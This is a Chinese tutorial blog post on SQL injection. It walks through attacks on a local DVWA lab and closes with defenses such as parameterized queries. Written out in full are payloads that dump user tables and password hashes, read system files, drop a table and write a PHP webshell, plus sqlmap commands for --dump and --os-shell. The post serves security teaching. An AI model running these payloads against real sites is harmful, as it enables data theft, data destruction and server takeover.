网络安全之sql注入

时间:2022-09-18 16:58:20

1.何为Sql注入?

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.--百度百科之Sql注入

那sql注入的原理是啥呢?

网络安全之sql注入

简单点说,大家都知道,我们网站的一些数据都要经过数据库去查询,我们只要找到服务器对某些某些请求缺少校验,就能找到漏洞

举个例子:

Select *from TableA where id="B"这个是个很正常的一个sql查询语句

注入的本质就是把用户输入的数据当做代码去执行,这里有两个关键条件,一就是用户能控制输入,二就是原本程序要执行的代码拼接了用户输入的数据

这里假设B我们可以控制我们可以使代码变成以下方式

Select *from TableA where id='';drop table TableA--''

显而易见,如果数据库执行了此条语句将会把表TableA给删除了,带来了不可预料的影响。

Sql注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖裤)

sql注入都有哪些类型呢?

①.sql盲注,包括布尔盲注和时间注入。

②.sql回显注入,包括报错注入和union联合查询注入。我们今天主要讲的就是sql回显注入。

2.sql注入实战

(1)sql注入的流程

网络安全之sql注入

(2)工具、测试平台及靶机的搭建

①.DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

网络安全之sql注入

DVWA传送门

②.由于dvwa是一个php和mysql的环境,故我使用了功能强大的建站集成软件包XAMPP(Apache+MySQL+PHP+PERL)

网络安全之sql注入

具体的搭建流程有兴趣的同学可以去下载来看看

DVWA+XAMPP搭建流程传送门

③.火狐hackbar插件

网络安全之sql注入

hackbar使用教程传送门

(3)sql注入测试

声明:因为测试平台数据库为mysql,所以接下来的测试语句全部为mysql语句

①.首先我们先把dvwa的安全模式设置为low模式,以便于我们进行测试。

网络安全之sql注入

②.我们选择sql注入栏目,判断是否有sql注入

在渗透一个web应用时我们首先要了解业务,我们先输入一个正常的数字

网络安全之sql注入

当然,我们也可以用我们熟悉的postman来请求http

网络安全之sql注入

那我们输入数据时,web应用为什么能返回我们需要的数据呢?

在座的各位都是这方面的老司机,对于web数据交互都很熟悉。

网络安全之sql注入

通过这个流程,我们完全可以猜测下这个sql语句长什么样子。

select Firstname,Surname from 表 where userid=我们输入的id

那我们现在猜测了sql语句,但是要怎么去测试有没有漏洞呢?

我们发现当输入数据时url是发生变化的。

网络安全之sql注入

我们尝试输入1',web程序给我们如下的回显:

网络安全之sql注入

从回显信息中我们可以看出,在1'附近有sql错误,那就证明了有可注入点,因为我们输入1时是正确的,但是输入了1'却出现了错误。

那我们如何去测试验证这个web程序的漏洞呢?以下是三种常用的注入POC(验证性观点测试)

网络安全之sql注入

当我们输入 1' or '1'='1 时,我们发现,web程序回显出一堆的数据:

网络安全之sql注入

我们发现,这里已经执行成功了,证明sql语句被正常执行了

③.读取数据

那根据我们刚才讲的sql注入流程,我们判断完sql注入后,我们接下来便是要获取数据

我们都知道,sql中的引号是要闭合的,在sql注入中,经常使用注释符,来构造闭合的语句,在mysql中注释符后应加空格,否则会报错。

在获取数据之前,我们还要做一件很重要的事,那就是确定查询的字段数

我们输入 1' order by 10-- ,web程序给我们以下的回显

网络安全之sql注入

证明了字段数一定小于10,那我们现在如何去确定字段数呢,我们采用二分法,一步步去看字段数是为几。

网络安全之sql注入

我们尝试了几个后,发现3还是太大,那就是说明字段数为2.

接下来我们就要确定sql注入的回显点

我们使用 xx' union select 1,2-- 语句来确定回显点

网络安全之sql注入

此时的sql语句应该是变作 select Firstname,Surname from 表 where userid='xx' union select 1,2--' 这样Firstname,Surname显示的数据便是我们union查询的数据

接下来我们查看下数据库的版本和数据库存放的目录

网络安全之sql注入

我们也可以使用 xx' union select user(),database()-- 语句获取用户名和数据库名

网络安全之sql注入

既然我们能查到这些信息,那么我们是否也能查询到数据库的所有信息呢?答案是肯定的。

接下来我们知道数据库就可以使用 xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 来查询表名

网络安全之sql注入

知道了表名,我们就可以使用 xx' union select 1,column_name from information_schema.columns where table_name='user'-- 来查询列名

网络安全之sql注入

我们就可以发现其中用户名和密码都为敏感数据。我们的目的就是要查询出这两个信息

接下来我们就可以查询用户名及密码等敏感数据,我们使用 xx' union select user,password from users-- 来查询数据

网络安全之sql注入

我们发现密码是一串hash串,数了一下是32位,就极有可能是md5加密,去用解密工具解密一下,就得到了明文的密码。

我们不单单可以获取数据库的敏感数据,我们也可以获取系统的敏感数据,我们使用 xx' union select 1,load_file("c:\windows\win.ini")--

网络安全之sql注入

当然,我们都想把一个漏洞利用最大化,除了能获取数据外,最理想的当然是控制服务器,最常见的就是写入webshell,我们上节课已经讲过了webshell和一句话木马

PHP一句话木马:

接下来我们要做的就是如何把这个一句话木马写入。我们要写入一句话木马,就得知道应该写入哪里,这里要知道web应用程序的物理路径。常用的方法就是通过引发异常,导致应用报错,爆出物理路径。

xx' union select "xx","xx" into outfile "xx"--

网络安全之sql注入

xx' union select "","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--

网络安全之sql注入

我们通过上节课讲的中国菜刀进行访问,就可以进入文件管理了:

网络安全之sql注入

学到这里,同学们可能就清楚了整个流程,但是会有同学问了,整个sql注入较为复杂,能不能有工具进行自动化注入呢? 接下来我们就我们学习一款注入神器工具--sqlmap

3.Sqlmap工具的使用

(1)Sqlmap为何被称为神器?

①.支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix

支持的数据库范围极广,大部分常用的数据库都是支持的。

②.支持的参数位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header

③.支持多种注入模式

基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

联合查询注入,可以使用union的情况下的注入。

堆查询注入,可以同时执行多条语句的执行时的注入。

备注:

Youtube上有人做的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://www.kali.org.cn/thread-22844-1-1.html

https://www.cnblogs.com/hongfei/p/3872156.html

(2).sqlmap的基本语法

网络安全之sql注入

我们学习一个命令窗口的使用,首先要调出他的帮助菜单,sqlmap的帮助菜单命令为:

-h,--helper

-hh 这是更为详细的帮助菜单命令

sqlmap帮助菜单中文版传送门

(3).判断注入点

命令:python sqlmap.py -u "目标URL"

那这边我们就使用-u命令进行注入执行

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"

网络安全之sql注入

(4)获取数据

①.我们首先来获取下当前的用户和数据库名:

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db

网络安全之sql注入

②.接下来我们根据刚才的流程我们获取下表:

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables

网络安全之sql注入

③.然后就是字段名:

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns

网络安全之sql注入

④.获取用户名和密码:

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump

使用-c指定字段 使用--dump获取数据

网络安全之sql注入

他会自动帮我们的数据下载成csv格式保存

网络安全之sql注入

网络安全之sql注入

⑤.我们前面讲了可以上传webshell,其实sqlmap也是可以的

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell

网络安全之sql注入

网络安全之sql注入

我们也可以用中国菜刀直接去连

网络安全之sql注入

接下来我们把dvwa安全级别上升,改为Medium级别,我们现在来看下sql注入测试界面有何变化?

网络安全之sql注入

我们发现原来的输入框改成了下拉框,不是由我们输入而是让我们选择。

我们知道,数据的提交都是http请求,我们先试着选择1,然后打开谷歌开发者工具(F12),点击提交,我们可以看到,请求由原来的get请求变成了post请求,参数不变。

网络安全之sql注入

这个时候我们就发现,其实跟我们之前差不多,我们也可以通过去改变参数。

我们可以通过一些抓包改包的工具去进行修改post参数。

这里值得注意的是当我们像简单模式一样注入sql语句xx' union select user(),database()--时,我们会发现引号会被转义符转义掉,此时我们直接去掉引号即可

我们这里换成postman请求http

网络安全之sql注入

那我们也可以用sqlmap

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db

网络安全之sql注入

接下来就跟我们初级的做法一样了,这里就不一一赘述。

我们再把安全级别调成High,我们看下界面变成什么样?

网络安全之sql注入

我们可以清晰的看到,界面变成了点击弹出一个窗口,在弹出的窗口处输入数据,提交后回显到原来的界面,我们用low模式下的注入方法尝试,没有任何问题,都是可以的。

但是我们看看在sqlmap下可以嘛,我们发现不在同一个页面,导致不可以,那sqlmap有没有其他命令可以支持这个的呢?

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db

网络安全之sql注入

4.sql注入的防御

(1).减少错误消息提示

应用的异常信息应该给出尽可能少的提示(关闭debug调试模式),最好使用自定义的错误信息对原始错误信息进行包装。

(2).部署硬件防火墙

部署硬件web防火墙(WAF),可有效防止SQL注入等攻击。

(3).消除特殊字符,对字符串进行过滤

永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号与及特殊字符进行转换等。从以上的sql注入攻击实战我们可以发现,大部分的sql注入都需要填入一些特殊字符,比如引号和等号或者or等关键字

网络安全之sql注入

这个是我们平台的登录界面,就是采用了消除特殊字符的方法,一旦有特殊字符,便返回输入不合法,从根源断绝sql注入。

(4)sql预编译传参

尽量不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取.在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。

C#  sqlservers
//string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel";
//SqlParameter[] pars ={
// new SqlParameter("@UserNO",SqlDbType.NVarChar,15),
// new SqlParameter("@pwd",SqlDbType.NVarChar,15),
// new SqlParameter("@sel",SqlDbType.NVarChar,15)
// };
//pars[0].Value = UserNO;
//pars[1].Value = pwd;
//pars[2].Value = sel; string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel); java MySQL
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();

网络安全之sql注入的更多相关文章

  1. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  2. 网络安全实验室--SQL注入关

    第一关 万能密码:username='or '1'='1'#    password=1    即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union selec ...

  3. 《11招玩转网络安全》之第四招:low级别的DVWA SQL注入

    以DVWA为例,进行手工注入,帮助读者了解注入原理和过程. 1.启动docker,并在终端中执行命令: docker ps -a docker start LocalDVWA docker ps 执行 ...

  4. 网络安全系列 之 SQL注入学习总结

    目录 1. sql注入概述 2. sql注入测试工具 3. sql注入防御方法 3.1 问题来源 3.2 防御方法 4. SQL注入防御举例 4.1 使用JDBC时,SQL语句进行了拼接 4.2 使用 ...

  5. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  6. 嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

    嗅探.中间人sql注入.反编译--例说桌面软件安全性问题 今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例.从技术上讲,这个例子没什么高深的,还有一点*运的成分,但是它又足够典型,典型到我可以讲 ...

  7. SQL 注入

    我们的团队项目中有课程名称输入框,其中的内容会拼接到类sql查询语句中. 所以可能会产生类sql注入的问题,我们团队采用了利用正则表达式判断输入内容的形式来规避这类注入. 下面简单介绍一下sql注入 ...

  8. WEB 安全之 SQL注入 < 三 > 提权

    SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...

  9. WEB 安全之 SQL注入 < 二 > 暴库

    SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...

随机推荐

  1. H2嵌入式数据库的各种连接方式

    H2database是一款用java语言编写的开源数据库, 一般用作游戏的数据存储, 当然web项目也是可以用的, web项目也可以将该数据库 首先要安装H2数据库 http://www.h2data ...

  2. HDU1565+状态压缩dp

    简单的压缩状态 dp /* 状态压缩dp 同hdu2167 利用滚动数组!! */ #include<stdio.h> #include<string.h> #include& ...

  3. P59、面试题7:用两个栈实现队列

    题目:用两个栈实现一个队列.队列声明如下,请实现它的两个函数appendTail和deleteHead,分别完成在队列为插入结点和在队列头部删除结点的功能. stack1专门用于插入数据,stack2 ...

  4. oracle 之 COMMENT

    http://blog.csdn.net/liguihan88/article/details/3002403 无疑注释现在都被大家接受和认可,在大家编程用的IDE中都提供或有第三方插件来支持提取注释 ...

  5. xvfb 初步探究

    有时候我们不关注程序是否有界面(比如自动化测试),只要程序在运行就可以了 很感谢 xvfb 这个工具给我们提供了相关的功能 比如在没有 X server 的机器上运行 gedit, 可以用下面的命令 ...

  6. Servlet实现简单的登录页面

    package emp; import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; imp ...

  7. SQL 模糊查询

    在进行数据库查询时,有完整查询和模糊查询之分.一般模糊查询语句如下: SELECT 字段 FROM 表 WHERE 某字段 Like 条件 其中关于条件,SQL提供了四种匹配模式:1,%:表示任意0个 ...

  8. scala学习笔记3(trait)

    // trait 类似于 Java8 中可以带 default method 的接口. // trait 中可以带有实现的方法,也可以带有抽象的方法,使用 trait 的方式是 with 而混入类中 ...

  9. 部署WEB项目到服务器(二)安装tomcat到linux服务器(Ubuntu)详解

    突发奇想,想在自己电脑上部署一个web网站. 1,先去tomcat官网下载一个适合linux的版本:tar.gz 2,然后通过FileZIlla传到服务器的/opt目录: 3,然后创建目录 并解压缩 ...

  10. typescript 创建类型

    type long = string | number; type stringObj = { [index: string]: string; } type NumberObj = { [index ...